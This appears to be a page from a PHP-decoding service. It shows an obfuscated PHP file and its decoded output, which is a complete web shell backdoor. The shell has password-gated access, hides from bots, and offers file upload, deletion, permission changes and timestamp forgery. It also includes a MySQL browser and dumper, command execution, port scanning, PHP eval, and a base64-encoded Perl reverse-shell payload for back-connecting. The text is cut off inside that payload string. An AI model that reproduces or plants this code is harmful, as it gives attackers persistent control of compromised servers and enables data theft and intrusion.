Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $pass = '7eac0819cb76eaff2bcc1dd617de678f'; $temp=gzinflate(base64_decode("3X1pc1z..

Decoded Output download


@error_reporting(7);
@session_start();
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if( strpos( strtolower( $_SERVER['HTTP_USER_AGENT'] ), 'bot' ) !== false ) {
	header('HTTP/1.0 404 Not Found');
	exit;
}
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\', '/', dirname(__FILE__)).'/');
define('SELF', $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']);
define('IS_WIN', DIRECTORY_SEPARATOR == '\');
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
if( IS_GPC ) {
	$_POST = s_array($_POST);
}
$P = $_POST;
unset($_POST);

$cookiepre = '';
$cookiedomain = '';
$cookiepath = '/';
$cookielife = 86400;

$charsetdb = array(
	'big5'			=> 'big5',
	'cp-866'		=> 'cp866',
	'euc-jp'		=> 'ujis',
	'euc-kr'		=> 'euckr',
	'gbk'			=> 'gbk',
	'iso-8859-1'	=> 'latin1',
	'koi8-r'		=> 'koi8r',
	'koi8-u'		=> 'koi8u',
	'utf-8'			=> 'utf8',
	'windows-1252'	=> 'latin1',
);

$act = isset($P['act']) ? $P['act'] : '';
$charset = isset($P['charset']) ? $P['charset'] : 'euc-kr';
$doing = isset($P['doing']) ? $P['doing'] : '';
for ($i=1;$i<=4;$i++) {
	${'p'.$i} = isset($P['p'.$i]) ? $P['p'.$i] : '';
}
if (isset($charsetdb[$charset])) {
	header("content-Type: text/html; charset=euc-kr");
}
$timestamp = time();
if ($act == "logout") {
	scookie('loginpass', '', -86400 * 365);
	@header('Location: '.SELF);
	exit;
}
if($pass) {
	if ($act == 'login') {
		if ($pass == encode_pass($P['password'])) {
			scookie('loginpass',encode_pass($P['password']));
			@header('Location: '.SELF);
			exit;
		}
	}
	if (isset($_COOKIE['loginpass'])) {
		if ($_COOKIE['loginpass'] != $pass) {
			loginpage();
		}
	} else {
		loginpage();
	}
}
$errmsg = '';
$uchar = '&#9650;';
$dchar = '&#9660;';
!$act && $act = 'file';
$home_cwd = getcwd();
if (isset($P['cwd']) && $P['cwd']) {
	chdir($P['cwd']);
} else {
	chdir(SA_ROOT);
}
$cwd = getcwd();
$web_cwd = $_SERVER['DOCUMENT_ROOT'];
foreach (array('web_cwd','cwd','home_cwd') as $k) {
	if (IS_WIN) {
		$$k = str_replace('\', '/', $$k);
	}
	if (substr($$k, -1) != '/') {
		$$k = $$k.'/';
	}
}
if ($act == 'phpinfo') {
	if (IS_PHPINFO) {
		phpinfo();
		exit;
	} else {
		$errmsg = 'phpinfo()     .';
	}
}

if(!function_exists('scandir')) {
	function scandir($cwd) {
		$files = array();
		$dh = opendir($cwd);
		while ($file = readdir($dh)) {
			$files[] = $file;
		}
		return $files ? $files : 0;
	}
}

if ($act == 'down') {
	if (is_file($p1) && is_readable($p1)) {
		@ob_end_clean();
		$fileinfo = pathinfo($p1);
		if (function_exists('mime_content_type')) {
			$type = @mime_content_type($p1);
			header("Content-Type: ".$type);
		} else {
			header('Content-type: application/x-'.$fileinfo['extension']);
		}
		header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
		header('Content-Length: '.sprintf("%u", @filesize($p1)));
		@readfile($p1);
		exit;
	} else {
		$errmsg = '   .';
		$act = 'file';
	}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?php echo $charset;?>">
<title><?php echo $act.' - '.$_SERVER['HTTP_HOST'];?></title>
<style type="text/css">
*{font-family:""," "," ",Monospace;}
body,td{font-size: 12px;line-height: 16px;}
.input, select{font-size:12px;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font-size:12px ;background:#fff;border: 1px solid #666;padding:2px;}
.red{color:#f00;}
.black{color:#000;}
.green{color:#090;}
.b{font-weight:bold;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#fff;font-size:12px;height:22px;}
a {color: #00f;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffa;padding:5px 15px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
.infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
.drives{padding:5px;}
.drives span {margin:auto 7px;}
</style>
<script type="text/javascript">
function checkall(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
        if (e.type == 'checkbox') {
			if (e.name != 'chkall' && e.name != 'saveasfile')
				e.checked = form.chkall.checked;
		}
    }
}
function $(id) {
	return document.getElementById(id);
}
function createdir(){
	var newdirname;
	newdirname = prompt('  :', '');
	if (!newdirname) return;
	g(null,null,'createdir',newdirname);
}
function fileperm(pfile, val){
	var newperm;
	newperm = prompt(' /:'+pfile+'
  :', val);
	if (!newperm) return;
	g(null,null,'fileperm',pfile,newperm);
}
function rename(oldname){
	var newfilename;
	newfilename = prompt(':'+oldname+'
  :', '');
	if (!newfilename) return;
	g(null,null,'rename',newfilename,oldname);
}
function createfile(){
	var filename;
	filename = prompt(' :', '');
	if (!filename) return;
	g('editfile', null, null, filename);
}
function setdb(dbname) {
	if(!dbname) return;
	$('dbform').tablename.value='';
	$('dbform').doing.value='';
	if ($('dbform').sql_query)
	{
		$('dbform').sql_query.value='';
	}
	$('dbform').submit();
}
function setsort(k) {
	$('dbform').order.value=k;
	$('dbform').submit();
}
function settable(tablename,doing) {
	if(!tablename) return;
	if (doing) {
		$('dbform').doing.value=doing;
	} else {
		$('dbform').doing.value='';
	}
	$('dbform').sql_query.value='';
	$('dbform').tablename.value=tablename;
	$('dbform').submit();
}
function s(act,cwd,p1,p2,p3,p4,charset) {
	if(act != null) $('opform').act.value=act;
	if(cwd != null) $('opform').cwd.value=cwd;
	if(p1 != null) $('opform').p1.value=p1;
	if(p2 != null) $('opform').p2.value=p2;
	if(p3 != null) $('opform').p3.value=p3;
	if(p4 != null) {$('opform').p4.value=p4;}else{$('opform').p4.value='';}
	if(charset != null) $('opform').charset.value=charset;
}
function g(act,cwd,p1,p2,p3,p4,charset) {
	s(act,cwd,p1,p2,p3,p4,charset);
	$('opform').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<?php

formhead(array('name'=>'opform'));
makehide('act', $act);
makehide('cwd', $cwd);
makehide('p1', $p1);
makehide('p2', $p2);
makehide('p3', $p3);
makehide('p4', $p4);
makehide('charset', $charset);
formfoot();

if(!function_exists('posix_getegid')) {
	$user = @get_current_user();
	$uid = @getmyuid();
	$gid = @getmygid();
	$group = "?";
} else {
	$uid = @posix_getpwuid(@posix_geteuid());
	$gid = @posix_getgrgid(@posix_getegid());
	$uid = $uid['uid'];
	$user = $uid['name'];
	$gid = $gid['gid'];
	$group = $gid['name'];
}
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head">
		<td><span style="float:right;"><?php echo @php_uname();?> / :<?php echo $uid.' ( '.$user.' ) / : '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
	</tr>
	<tr class="alt1">
		<td>
			<a href="javascript:g('logout');"></a> /
			<a href="javascript:g('file',null,'','','','','<?php echo $charset;?>');"> </a> /
			<a href="javascript:g('mysqladmin',null,'','','','','<?php echo $charset;?>');">MYSQL </a> /
			<a href="javascript:g('shell',null,'','','','','<?php echo $charset;?>');"> </a> /
			<a href="javascript:g('phpenv',null,'','','','','<?php echo $charset;?>');">PHP </a> /
			<a href="javascript:g('portscan',null,'','','','','<?php echo $charset;?>');"> </a> /
			<a href="javascript:g('secinfo',null,'','','','','<?php echo $charset;?>');"> </a> /
			<a href="javascript:g('eval',null,'','','','','<?php echo $charset;?>');">PHP  </a>
			<?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect',null,'','','','','<?php echo $charset;?>');">Back-Connect</a><?php }?>
		</td>
	</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
$errmsg && m($errmsg);

if ($act == 'file') {
	$dir_writeable = @is_writable($cwd) ? ' ' : ' ';
	if (isset($p1)) {
		switch($p1) {
			case 'createdir':
				if ($p2) {
					m('  '.(@mkdir($cwd.$p2,0777) ? ' ' : ''));
				}
				break;
			case 'uploadFile':
				m('  '.(@move_uploaded_file($_FILES['uploadfile']['tmp_name'], $cwd.'/'.$_FILES['uploadfile']['name']) ? '' : ''));
				break;
			case 'fileperm':
				// 
				if ($p2 && $p3) {
					$p3 = base_convert($p3, 8, 10);
					m('   '.(@chmod($p2, $p3) ? '' : ''));
				}
				break;
			case 'rename':
				// 
				if ($p2 && $p3) {
					m($p3.'   '.$p2.(@rename($p3, $p2) ? '' : ''));
				}
				break;
			case 'clonetime':
				// 
				if ($p2 && $p3) {
					$time = @filemtime($p3);
					m('     '.(@touch($p2,$time,$time) ? '' : ''));
				}
				break;
			case 'settime':
				// 
				if ($p2 && $p3) {
					$time = strtotime($p3);
					m('Set file last modified '.(@touch($p2,$time,$time) ? '' : ''));
				}
				break;
			case 'delete':
				// 
				if ($P['dl']) {
					$succ = $fail = 0;
					foreach ($P['dl'] as $f) {
						if (is_dir($cwd.$f)) {
							if (@deltree($cwd.$f)) {
								$succ++;
							} else {
								$fail++;
							}
						} else {
							if (@unlink($cwd.$f)) {
								$succ++;
							} else {
								$fail++;
							}
						}
					}
					m(' /()  '.count($P['dl']).'   '.$succ.' , '.$fail.' .');
				} else {
					m('   .');
				}
				break;
			case 'paste':
				if($_SESSION['do'] == 'copy') {
					foreach($_SESSION['dl'] as $f) {
						copy_paste($_SESSION['c'],$f, $cwd);
					}
				} elseif($_SESSION['do'] == 'move') {
					foreach($_SESSION['dl'] as $f) {
						@rename($_SESSION['c'].$f, $cwd.$f);
					}
				}
				unset($_SESSION['do'], $_SESSION['dl'], $_SESSION['c']);
				break;
			default:
				if($p1 == 'copy' || $p1 == 'move') {
					if (isset($P['dl']) && count($P['dl'])) {
						$_SESSION['do'] = $p1;
						$_SESSION['dl'] = $P['dl'];
						$_SESSION['c'] = $P['cwd'];
						m('  ');
					} else {
						m('   .');
					}
				}
				break;
		}
		echo "<script type=\"text/javascript\">$('opform').p1.value='';$('opform').p2.value='';</script>";
	}
	//
	$free = @disk_free_space($cwd);
	!$free && $free = 0;
	$all = @disk_total_space($cwd);
	!$all && $all = 0;
	$used = $all-$free;
	p('<h2>  - '.sizecount($free).' / '.sizecount($all).' ('.@round(100/($all/$free),2).'%  )</h2>');

	$cwd_links = '';
	$path = explode('/', $cwd);
	$n=count($path);
	for($i=0;$i<$n-1;$i++) {
		$cwd_links .= '<a href="javascript:g(\'file\', \'';
  		for($j=0;$j<=$i;$j++) {
			$cwd_links .= $path[$j].'/';
		}
		$cwd_links .= '\');">'.$path[$i].'/</a>';
	}

?>
<script type="text/javascript">
document.onclick = shownav;
function shownav(e){
	var src = e?e.target:event.srcElement;
	do{
		if(src.id =="jumpto") {
			$('inputnav').style.display = "";
			$('pathnav').style.display = "none";
			return;
		}
		if(src.id =="inputnav") {
			return;
		}
		src = src.parentNode;
	}while(src.parentNode)

	$('inputnav').style.display = "none";
	$('pathnav').style.display = "";
}
</script>
<div style="background:#eee;margin-bottom:10px;">
	<form onsubmit="g('file',this.cwd.value);return false;" method="POST" id="godir" name="godir">
		<table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">
			<tr>
				<td width="100%"><?php echo $cwd_links.' - '.getChmod($cwd).' / '.PermsColor($cwd).getUser($cwd);?> (<?php echo $dir_writeable;?>)</td>
				<td nowrap><input class="bt" id="jumpto" name="jumpto" value=" " type="button"></td>
			</tr>
		</table>
		<table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">
			<tr>
				<td nowrap>  (<?php echo $dir_writeable;?>, <?php echo getChmod($cwd);?>)</td>
				<td width="100%"><input class="input" name="cwd" value="<?php echo $cwd;?>" type="text" style="width:99%;margin:0 8px;"></td>
				<td nowrap><input class="bt" value="" type="submit"></td>
			</tr>
		</table>
	</form>
<?php
	if (IS_WIN) {
		$comma = '';
		p('<div class="drives">');
		foreach( range('A','Z') as $drive ) {
			if (is_dir($drive.':/')) {
				p($comma.'<a href="javascript:g(\'file\', \''.$drive.':/\');">'.$drive.':\</a>');
				$comma = '<span>|</span>';
			}
		}
		p('</div>');
	}
?>
</div>
<?php
	p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
	p('<tr class="alt1"><td colspan="6" style="padding:5px;line-height:20px;">');
	p('<form action="'.SELF.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input name="uploadfile" value="" type="file" /> <input class="bt" value=" " type="submit" /><input name="charset" value="'.$charset.'" type="hidden" /><input type="hidden" name="p1" value="uploadFile"><input name="cwd" value="'.$cwd.'" type="hidden" /></div></form>');
	p('<a href="javascript:g(\'file\', \''.str_replace('\','/',$web_cwd).'\');"></a>');
	p(' | <a href="javascript:g(\'file\', \''.$home_cwd.'\');"> </a>');
	p(' | <a href="javascript:g(\'file\',\''.$cwd.'\',null,null,null,\'dir\');">   </a> ');
	p(' | <a href="javascript:createdir();"> </a> | <a href="javascript:createfile();"> </a>');
	p('</td></tr>');

	$sort = array('filename', 1);
	if($p1) {
		if(preg_match('!s_([A-z_]+)_(\d{1})!', $p1, $match)) {
			$sort = array($match[1], (int)$match[2]);
		}
	}

	formhead(array('name'=>'flist'));
	makehide('act','file');
	makehide('p1','');
	makehide('cwd',$cwd);
	makehide('charset',$charset);
	p('<tr class="head">');
	p('<td width="2%" nowrap><input name="chkall" value="on" type="checkbox" onclick="checkall(this.form)" /></td>');
	p('<td><a href="javascript:g(\'file\',null,\'s_filename_'.($sort[1]?0:1).'\');"></a> '.($p1 == 's_filename_0' ? $dchar : '').($p1 == 's_filename_1' || !$p1 ? $uchar : '').'</td>');
	p('<td width="16%"><a href="javascript:g(\'file\',null,\'s_mtime_'.($sort[1]?0:1).'\');"> </a> '.($p1 == 's_mtime_0' ? $dchar : '').($p1 == 's_mtime_1' ? $uchar : '').'</td>');
	p('<td width="10%"><a href="javascript:g(\'file\',null,\'s_size_'.($sort[1]?0:1).'\');"></a> '.($p1 == 's_size_0' ? $dchar : '').($p1 == 's_size_1' ? $uchar : '').'</td>');
	p('<td width="20%"></td>');
	p('<td width="22%"></td>');
	p('</tr>');

	//
	$dirdata=$filedata=array();

	if ($p4 == 'dir') {
		$dirdata = GetWDirList($cwd);
		$filedata = array();
	} else {
		// 
		$dirs = @scandir($cwd);
		if ($dirs) {
			$dirs = array_diff($dirs, array('.'));
			foreach ($dirs as $file) {
				$filepath=$cwd.$file;
				if(@is_dir($filepath)){
					$dirdb['filename']=$file;
					$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
					$dirdb['chmod']=getChmod($filepath);
					$dirdb['perm']=PermsColor($filepath);
					$dirdb['owner']=getUser($filepath);
					$dirdb['link']=$filepath;
					if ($file=='..') {
						$dirdata['up']=1;
					} else {
						$dirdata[]=$dirdb;
					}
				} else {
					$filedb['filename']=$file;
					//$filedb['size']=@filesize($filepath);
					$filedb['size']=sprintf("%u", @filesize($filepath));
					$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
					$filedb['chmod']=getChmod($filepath);
					$filedb['perm']=PermsColor($filepath);
					$filedb['owner']=getUser($filepath);
					$filedb['link']=$filepath;
					$filedata[]=$filedb;
				}
			}
			unset($dirdb);
			unset($filedb);
		}
	}
	$dir_i = '0';
	if (isset($dirdata['up'])) {
		$thisbg = bg();
		p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
		p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:g(\'file\',\''.getUpPath($cwd).'\');"> </a></td>');
		p('</tr>');
	}
	unset($dirdata['up']);
	usort($dirdata, 'cmp');
	usort($filedata, 'cmp');
	foreach($dirdata as $key => $dirdb){
		if($p1 == 'getsize' && $p2 == $dirdb['filename']) {
			$attachsize = dirsize($p2);
			$attachsize = is_numeric($attachsize) ? sizecount($attachsize) : '  ';
		} else {
			$attachsize = '<a href="javascript:g(\'file\', null, \'getsize\', \''.$dirdb['filename'].'\');"></a>';
		}
		$thisbg = bg();
		p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
		p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['filename'].'"></td>');
		p('<td><a href="javascript:g(\'file\',\''.$dirdb['link'].'\')">'.$dirdb['filename'].'</a></td>');
		p('<td nowrap><a href="javascript:g(\'newtime\',null,\''.$dirdb['filename'].'\');">'.$dirdb['mtime'].'</a></td>');
		p('<td nowrap>'.$attachsize.'</td>');
		p('<td nowrap>');
		p('<a href="javascript:fileperm(\''.$dirdb['filename'].'\', \''.$dirdb['chmod'].'\');">'.$dirdb['chmod'].'</a> / ');
		p('<a href="javascript:fileperm(\''.$dirdb['filename'].'\', \''.$dirdb['chmod'].'\');">'.$dirdb['perm'].'</a>'.$dirdb['owner'].'</td>');
		p('<td nowrap><a href="javascript:rename(\''.$dirdb['filename'].'\');">/ </a></td>');
		p('</tr>');
		$dir_i++;
	}

	p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
	$file_i = '0';

	foreach($filedata as $key => $filedb){
		$fileurl = '/'.str_replace($web_cwd,'',$filedb['link']);
		$thisbg = bg();
		p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
		p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['filename'].'"></td>');
		p('<td>'.((strpos($filedb['link'], $web_cwd) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>');
		p('<td nowrap><a href="javascript:g(\'newtime\',null,\''.$filedb['filename'].'\');">'.$filedb['mtime'].'</a></td>');
		p('<td nowrap>'.sizecount($filedb['size']).'</td>');
		p('<td nowrap>');
		p('<a href="javascript:fileperm(\''.$filedb['filename'].'\', \''.$filedb['chmod'].'\');">'.$filedb['chmod'].'</a> / ');
		p('<a href="javascript:fileperm(\''.$filedb['filename'].'\', \''.$filedb['chmod'].'\');">'.$filedb['perm'].'</a>'.$filedb['owner'].'</td>');
		p('<td nowrap>');
		p('<a href="javascript:g(\'down\',null,\''.$filedb['filename'].'\');"></a> | ');
		p('<a href="javascript:g(\'editfile\',null,null,\''.$filedb['filename'].'\');"></a> | ');
		p('<a href="javascript:rename(\''.$filedb['filename'].'\');"> </a>');
		p('</td></tr>');
		$file_i++;
	}
	p('<tr class="'.bg().' head"><td colspan="5"><a href="#" onclick="$(\'flist\').p1.value=\'delete\';$(\'flist\').submit();"></a> | <a href="#" onclick="$(\'flist\').p1.value=\'copy\';$(\'flist\').submit();"></a> | <a href="#" onclick="$(\'flist\').p1.value=\'move\';$(\'flist\').submit();"></a>'.(isset($_SESSION['do']) && @count($_SESSION['dl']) ? ' | <a href="#" onclick="$(\'flist\').p1.value=\'paste\';$(\'flist\').submit();">Paste</a>' : '').'</td><td align="right">  '.$dir_i.'  / '.$file_i.'  .</td></tr>');
	p('</form></table>');
}// end dir

elseif ($act == 'mysqladmin') {
	$order = isset($P['order']) ? $P['order'] : '';
	$dbhost = isset($P['dbhost']) ? $P['dbhost'] : '';
	$dbuser = isset($P['dbuser']) ? $P['dbuser'] : '';
	$dbpass = isset($P['dbpass']) ? $P['dbpass'] : '';
	$dbname = isset($P['dbname']) ? $P['dbname'] : '';
	$tablename = isset($P['tablename']) ? $P['tablename'] : '';

	if ($doing == 'dump') {
		if (isset($P['bak_table']) && $P['bak_table']) {
			$DB = new DB_MySQL;
			$DB->charsetdb = $charsetdb;
			$DB->charset = $charset;
			$DB->connect($dbhost, $dbuser, $dbpass, $dbname);
			if ($P['saveasfile'] && $P['bak_path']) {
				$fp = @fopen($P['bak_path'],'w');
				if ($fp) {
					foreach($P['bak_table'] as $k => $v) {
						if ($v) {
							$DB->sqldump($v, $fp);
						}
					}
					fclose($fp);
					$fileurl = str_replace(SA_ROOT,'',$P['bak_path']);
					m('<a href="'.$fileurl.'" target="_blank">'.$P['bak_path'].'</a>     .');
				} else {
					m(' ');
				}
			} else {
				@ob_end_clean();
				$filename = basename($dbname.'.sql');
				header('Content-type: application/unknown');
				header('Content-Disposition: attachment; filename='.$filename);
				foreach($P['bak_table'] as $k => $v) {
					if ($v) {
						$DB->sqldump($v);
					}
				}
				exit;
			}
			$DB->close();
		} else {
			m(' ');
		}
		$doing = '';
	}

	formhead(array('title'=>'MYSQL ', 'name'=>'dbform'));
	makehide('act','mysqladmin');
	makehide('doing',$doing);
	makehide('charset', $charset);
	makehide('tablename', $tablename);
	makehide('order', $order);
	p('<p>');
	p(':');
	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
	p(':');
	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
	p(':');
	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
	makeinput(array('value'=>'','type'=>'submit','class'=>'bt'));
	p('</p>');

	if ($dbhost && $dbuser && isset($dbpass)) {

		// 
		$DB = new DB_MySQL;
		$DB->charsetdb = $charsetdb;
		$DB->charset = $charset;
		$DB->connect($dbhost, $dbuser, $dbpass, $dbname);

		//
		p('<p class="red">'.$dbhost.' '.$dbuser.'@'.$dbhost.'   MySQL '.$DB->version().' .</p>');
		$highver = $DB->version() > '4.1' ? 1 : 0;

		//
		$query = $DB->query("SHOW DATABASES");
		$dbs = array();
		$dbs[] = '--   --';
		while($db = $DB->fetch($query)) {
			$dbs[$db['Database']] = $db['Database'];
		}
		makeselect(array('name'=>'dbname','option'=>$dbs,'selected'=>$dbname,'onchange'=>'setdb(this.options[this.selectedIndex].value)'));

		if ($dbname) {
			p('<p> : <a href="javascript:setdb(\''.$dbname.'\');">'.$dbname.'</a>');
			if ($tablename) {
				p(' |  : <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'structure\');"></a> ]');
			}
			p('</p>');

			$sql_query = isset($P['sql_query']) ? $P['sql_query'] : '';

			if ($tablename && !$sql_query) {
				$sql_query = "SELECT * FROM $tablename LIMIT 0, 30";
			}
			if ($tablename && $doing == 'structure') {
				$sql_query = "SHOW FULL COLUMNS FROM $tablename;
";
				$sql_query .= "SHOW INDEX FROM $tablename;";
			}
			p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">'.$dbname.'  SQL () :</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" onclick="$(\'doing\').value=\'\'" style="height:50px;" type="submit" value=" " /></td></tr></table></p>');
			if ($sql_query) {
				$querys = @explode(';',$sql_query);
				foreach($querys as $num=>$query) {
					if ($query) {
						p("<p class=\"red b\">#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</p>");
						switch($DB->query_res($query))
						{
							case 0:
								p('<h2>'.$DB->halt('').'</h2>');
								break;
							case 1:
								$result = $DB->query($query);
								$tatol = $DB->num_rows($result);
								p('<table border="0" cellpadding="3" cellspacing="0">');
								p('<tr class="head">');
								$fieldnum = @mysql_num_fields($result);
								for($i=0;$i<$fieldnum;$i++){
									p('<td nowrap>'.@mysql_field_name($result, $i).'</td>');
								}
								p('</tr>');

								if (!$tatol) {
									p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';"><td nowrap colspan="'.$fieldnum.'" class="red b">() </td></tr>');
								} else {
									while($mn = $DB->fetch($result)){
										$thisbg = bg();
										p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
										//
										foreach($mn as $key=>$inside){
											p('<td nowrap>'.(($inside == null) ? '<i>null</i>' : html_clean($inside)).'</td>');
										}
										p('</tr>');
										unset($b1);
									}
								}
								p('</table>');
								break;
							case 2:
								p('<h2>   : '.$DB->affected_rows().'</h2>');
								break;
						}
					}
				}
			} else {
				$query = $DB->query("SHOW TABLE STATUS");
				$table_num = $table_rows = $data_size = 0;
				$tabledb = array();
				while($table = $DB->fetch($query)) {
					$data_size = $data_size + $table['Data_length'];
					$table_rows = $table_rows + $table['Rows'];
					$table_num++;
					$tabledb[] = $table;
				}
				$data_size = sizecount($data_size);
				unset($table);
				if (count($tabledb)) {
					if ($highver) {
						$db_engine = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'storage_engine';"));
						$db_collation = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'collation_database';"));
					}
					$sort = array('Name', 1);
					if($order) {
						if(preg_match('!s_([A-z_]+)_(\d{1})!', $order, $match)) {
							$sort = array($match[1], (int)$match[2]);
						}
					}
					usort($tabledb, 'cmp');
					p('<table border="0" cellpadding="0" cellspacing="0" id="lists">');
					p('<tr class="head">');
					p('<td width="2%"><input name="chkall" value="on" type="checkbox" onclick="checkall(this.form)" /></td>');
					p('<td><a href="javascript:setsort(\'s_Name_'.($sort[1]?0:1).'\');"></a> '.($order == 's_Name_0' ? $dchar : '').($order == 's_Name_1' || !$order ? $uchar : '').'</td>');
					p('<td><a href="javascript:setsort(\'s_Rows_'.($sort[1]?0:1).'\');"></a>'.($order == 's_Rows_0' ? $dchar : '').($order == 's_Rows_1' ? $uchar : '').'</td>');
					p('<td><a href="javascript:setsort(\'s_Data_length_'.($sort[1]?0:1).'\');"> </a>'.($order == 's_Data_length_0' ? $dchar : '').($order == 's_Data_length_1' ? $uchar : '').'</td>');
					p('<td><a href="javascript:setsort(\'s_Create_time_'.($sort[1]?0:1).'\');"></a>'.($order == 's_Create_time_0' ? $dchar : '').($order == 's_Create_time_1' ? $uchar : '').'</td>');
					p('<td><a href="javascript:setsort(\'s_Update_time_'.($sort[1]?0:1).'\');"></a>'.($order == 's_Update_time_0' ? $dchar : '').($order == 's_Update_time_1' ? $uchar : '').'</td>');
					if ($highver) {
						p('<td></td>');
						p('<td></td>');
					}
					p('<td></td>');
					p('</tr>');
					foreach ($tabledb as $key => $table) {
						$thisbg = bg();
						p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
						p('<td align="center" width="2%"><input type="checkbox" name="bak_table[]" value="'.$table['Name'].'" /></td>');
						p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
						p('<td>'.$table['Rows'].'&nbsp;</td>');
						p('<td>'.sizecount($table['Data_length']).'</td>');
						p('<td>'.$table['Create_time'].'&nbsp;</td>');
						p('<td>'.$table['Update_time'].'&nbsp;</td>');
						if ($highver) {
							p('<td>'.$table['Engine'].'</td>');
							p('<td>'.$table['Collation'].'</td>');
						}
						p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'structure\');"></a></td>');
						p('</tr>');
					}
					p('<tr class="head">');
					p('<td width="2%">&nbsp;</td>');
					p('<td>'.$table_num.' ()</td>');
					p('<td>'.$table_rows.'</td>');
					p('<td>'.$data_size.'</td>');
					p('<td>&nbsp;</td>');
					p('<td>&nbsp;</td>');
					if ($highver) {
						p('<td>'.$db_engine['Value'].'</td>');
						p('<td>'.$db_collation['Value'].'</td>');
					}
					p('<td>&nbsp;</td>');
					p('</tr>');
					p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" />   <input class=\"input\" name=\"bak_path\" value=\"".SA_ROOT.$dbname.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"button\" value=\"  \" onclick=\"$('doing').value='dump';$('dbform').submit();\" /></td></tr>");
					p("</table>");
				} else {
					p('<p class="red b"> </p>');
				}
				$DB->free_result($query);
			}
		}
		$DB->close();
	}
	formfoot();
}//end mysql

elseif ($act == 'backconnect') {

	!$p2 && $p2 = $_SERVER['REMOTE_ADDR'];
	!$p3 && $p3 = '12345';
	$usedb = array('perl'=>'perl','c'=>'c');

	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
